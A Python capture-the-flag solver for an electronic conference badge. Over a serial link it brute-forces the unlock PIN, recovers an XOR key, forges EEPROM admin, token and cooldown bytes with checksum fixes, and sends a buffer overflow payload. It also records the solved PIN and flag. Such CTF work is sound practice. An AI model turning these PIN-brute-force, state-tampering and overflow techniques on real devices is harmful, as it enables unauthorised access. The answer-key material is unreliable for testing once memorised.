import serial import string import time import sys SERIAL_PORT ='/dev/ttyUSB0' BAUD_RATE = 38400 ################################################################################ # function opens the serial port and returns an object ################################################################################ def open_serial(): print(f"[INFO] Connecting to {SERIAL_PORT}") try: ser = serial.Serial( port = SERIAL_PORT, baudrate = BAUD_RATE, bytesize = serial.EIGHTBITS, parity = serial.PARITY_NONE, stopbits = serial.STOPBITS_ONE, timeout = 1 ) return ser except serial.SerialException as e: print(f"[ERROR] error - {e}") sys.exit(1) ################################################################################ # function sends commands and payloads to the serial port with a reponse retry ################################################################################ def send_serial(ser, command, payload, delay=0.015): retry = True try: while retry: retry = False if delay >= 1 else True if len(payload) > 0: ser.write(command + payload) else: ser.write(command) time.sleep(delay) if ser.in_waiting > 0: response = ser.read(ser.in_waiting) return response elif retry: print(f"[ERROR] no response ... extending delay") delay = 1 else: print(f"[ERROR] no response ... fail") return b"DEADBEEF" except Exception as e: print(f"[ERROR] {e}") ser.close() sys.exit(1) ################################################################################ # function decodes global EEPROM error codes ################################################################################ def decode_error(err): if err == 0x00: print(f"[ERROR] Unknown - General Hardware Fault") if err == 0x01: print(f"[ERROR] Invalid Address") if err == 0x02: print(f"[ERROR] Permission Error") if err == 0x03: print(f"[ERROR] Cooldown Active") if err == 0x00: print(f"[ERROR] Memory Corruption") ################################################################################ # function computes new modulo 65535 checksum ################################################################################ def calc_checksum(buffer): sum = 0 for i in range(len(buffer)): sum += buffer[i] chk = sum % 65535 hi = (chk >> 8) & 0xFF lo = chk & 0xFF print(f"[DEBUG] new checksum is {chk:02X}") return hi, lo ################################################################################ # function writes corrected checksum ################################################################################ def fix_checksum(): ser = open_serial() command = bytes([0xc7]) response = send_serial(ser, command, '') # fix checksum hi, lo = calc_checksum(response[1:7]) payload = bytes([0x07, lo]) command = bytes([0xc5]) response = send_serial(ser, command, payload) payload = bytes([0x06, hi]) command = bytes([0xc5]) response = send_serial(ser, command, payload) ser.close() ################################################################################ # function toggles the "is admin" byte and corrects the checksum ################################################################################ def make_admin(val=1): ser = open_serial() # current value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[ADMIN] {response[6]}") # toggle admin byte payload = bytes([0x05, val]) command = bytes([0xc5]) response = send_serial(ser, command, payload) # fix checksum fix_checksum() # check value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[ADMIN] {response[6]}") ser.close() ################################################################################ # function zeroes the cooldown ################################################################################ def zero_cooldown(): ser = open_serial() # current value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[COOLDOWN] {response[4]} {response[5]}") # zero cooldown hi byte payload = bytes([0x03, 0x00]) command = bytes([0xc5]) response = send_serial(ser, command, payload) # zero cooldown lo byte payload = bytes([0x04, 0x00]) command = bytes([0xc5]) response = send_serial(ser, command, payload) # fix checksum fix_checksum() # check value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[COOLDOWN] {response[4]} {response[5]}") ser.close() ################################################################################ # function retrieves diagnostics - signature, tokens, cooldown, admin, checksum ################################################################################ def diag(): print(f"\n[INFO] diag() ... dumping diagnostic block") ser = open_serial() command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[INFO] {response}") ser.close() ################################################################################ # function writes a byte to a memory address ################################################################################ def addr_write(): ser = open_serial() for addr in range(9,224): print(f"[INFO] Writing address {addr}") payload = bytes([addr, 0x01]) command = bytes([0xc5]) response = send_serial(ser, command, payload) ser.close() ################################################################################ # function reads the entire eeprom and saves to a binary file ################################################################################ def addr_read(start=0, finish=255): for addr in range(start,finish): ser = open_serial() tryagain = True while tryagain: print(f"[INFO] Reading address {addr}") payload = bytes([addr]) command = bytes([0xc4]) response = send_serial(ser, command, payload) print(f"[DEBUG] {response}") if response[1] == 0x00: # handle error condition decode_error(response[2]) if response[2] == 0x04: fix_checksum() else: tryagain = False else: # save byte to a file and print if ASCII tryagain = False with open("eeprom.bin", "ab") as file: file.write(bytes(response[2:3])) print(f"[INFO] wrote {response[2:3]} to file") if str(response[2]) in string.printable: print(f"[INFO] {addr} == {response[2]}") ser.close() ################################################################################ # function brute forces the badge PIN ################################################################################ def brute_unlock(): print(f"\n[INFO] brute_unlock() ... detecting the unlock PIN") ser = open_serial() try: for byte1 in range(10): for byte2 in range(10): for byte3 in range(10): for byte4 in range(10): for byte5 in range(10): payload = bytes([byte1,byte2,byte3,byte4,byte5]) print(f"[DEBUG] Testing -- {byte1} {byte2} {byte3} {byte4} {byte5}") command = bytes([0xc0]) response = send_serial(ser, command, payload) if response[0] == 0x30 and response[1] == 0x01: print(f"[INFO] {response}") print(f"[INFO] Found PIN -- {byte1} {byte2} {byte3} {byte4} {byte5}") raise ValueError(f"[INFO] SUCCESS -- terminating brute force") except Exception as e: print(f"{str(e)}") ser.close() # [DEBUG] writing -- b'\xc0'b'\x08\x00\x06\x08\x03' # [INFO] b'0\x01flag{96Aka5ShrDq7av35}' ################################################################################ # function unlocks the badge ################################################################################ def unlock(): print(f"\n[INFO] unlock() ... unlocking the badge") ser = open_serial() payload = bytes([8,0,6,8,3]) command = bytes([0xc0]) response = send_serial(ser, command, payload) print(f"[INFO] {response}") ser.close() ################################################################################ # function activates the badge LEDs ################################################################################ def leds(): print(f"\n[INFO] leds() ... solving blinking challenge") ser = open_serial() payload = bytes([0x01]) command = bytes([0xc1]) response = send_serial(ser, command, payload) if response == b'\x31\x01': print(f"[INFO] {response}") ser.close() ################################################################################ # function decodes the badge's encrypted 32 byte code ################################################################################ def crypto(): print(f"\n[INFO] crypto() ... solving crypto challenge") ser = open_serial() payload = bytes([0x01]) command = bytes([0xc2]) response = send_serial(ser, command, payload) polling = True # put the jumper on the lock during this period print(f"Put the jumper on the badge pins") while polling: time.sleep(10) print(f"Waiting ...") if ser.in_waiting > 0: response = ser.read(ser.in_waiting) print(f"[INFO] decryption key : {response}") print(f"[INFO] decryption key length : {len(response)} bytes") polling = False break # decrypt the cipher text (XOR) ctext = bytes([0xE9, 0xD3, 0xA8, 0x9A, 0x38, 0xD9, 0xB8, 0x8F, 0x17, 0x55, 0xA8, 0x6E, 0x41, 0xB5, 0xDC, 0xFE, 0xBC, 0xEC, 0x39, 0xEB, 0xC9, 0xC1, 0x78, 0x74, 0x40, 0x7F, 0xFE, 0x76, 0x75, 0x2C, 0xC8, 0x46]) ptext = bytes(c ^ k for c, k in zip(ctext, response)) print(f"[INFO] plaintext : {ptext.hex()}") print(f"[INFO] plaintext : {ptext.decode('ascii')}") # turn off 2FA polling payload = bytes([0x00]) command = bytes([0xc2]) response = send_serial(ser, command, payload) ser.close() ################################################################################ # function toggles the "is admin" byte and corrects the checksum ################################################################################ def max_tokens(): print(f"\n[INFO] max_tokens() ... solving token challenge") ser = open_serial() # current value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[TOKENS] {response[3]}") # toggle tokens byte payload = bytes([0x02, 0xFF]) command = bytes([0xc5]) response = send_serial(ser, command, payload) # fix checksum fix_checksum() # check value command = bytes([0xc7]) response = send_serial(ser, command, '') print(f"[TOKENS] {response[3]}") # increment tokens command = bytes([0xc6]) response = send_serial(ser, command, '', 5) print(f"[INFO] {response}") ser.close() ################################################################################ # function maps eeprom permission values ################################################################################ def eeprom(start=0,finish=255): ser = open_serial() for address in range(start,finish): payload = bytes([address]) command = bytes([0xc3]) response = send_serial(ser, command, payload) val = int.from_bytes(response, byteorder='big') is_valid = (val & 8) != 0 is_write = (val & 4) != 0 is_read = (val & 2) != 0 is_priv = (val & 1) != 0 print(f"[INFO] Addr {address}, {val:08b}, V:{is_valid}, W:{is_write}, R:{is_read}, P:{is_priv}") ser.close() ################################################################################ # function uses debug ################################################################################ def debug(): ser = open_serial() payload = bytes([0x41]) * 28 + bytes([0x19, 0x0d, 0x00, 0x08]) command = bytes([0xc8]) print(f"[INFO] sending buffer overflow ... {payload}") response = send_serial(ser, command, payload, 5) print(f"[INFO] {response}") print(f"[INFO] confirming badge needs reset ...") response = send_serial(ser, command, bytes([0xB,0x0,0x0,0xB]), 5) print(f"[INFO] {response}") ser.close() ################################################################################ # main ... obviously ################################################################################ def main(): # Challenge: Unlock # brute_unlock() # Challenge: LEDS # unlock() # leds() # Challenge: Crypto # unlock() # crypto() # Challenge: Tokens # unlock() # max_tokens() # Challenge: EEPROM # unlock() # eeprom(0,255) # make_admin() # zero_cooldown() # addr_read(0,255) # Challenge: Buffer Overflow unlock() debug() if __name__ == "__main__": main()